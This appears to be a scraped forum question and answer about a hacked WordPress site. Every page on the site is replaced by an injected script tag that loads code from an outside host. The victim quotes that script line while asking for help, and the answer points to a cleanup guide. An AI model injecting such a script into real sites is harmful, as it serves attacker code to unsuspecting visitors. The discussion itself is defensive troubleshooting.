问题描述:

I'm getting an issue where WordPress always serves me a page that takes me to an external site.

Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):

<nofollow><noindex>

<script src="http://externalsite.com/?jquery&source=mylivesite.com&

keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>

This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).

  • I looked through the MySQL database using string search and couldn't find

    any matches to externalsite.com.

  • I grep'ed the entire tree of hosted files and no matches either.
  • Can't see any nefarious looking rules in

    wp_options.rewrite_rules.

  • Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
  • .htaccess is the standard WordPress bootstrap.

The installation is an individual domain running its own instance of WP.

This effect prevents me accessing wp-admin on the live site.

Any ideas about what layer or setting might cause this to happen?

网友答案:

The site had been hacked. This was causing it to redirect to an external site after most page requests.

Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/

Thanks to all who provided help.

相关阅读:
Top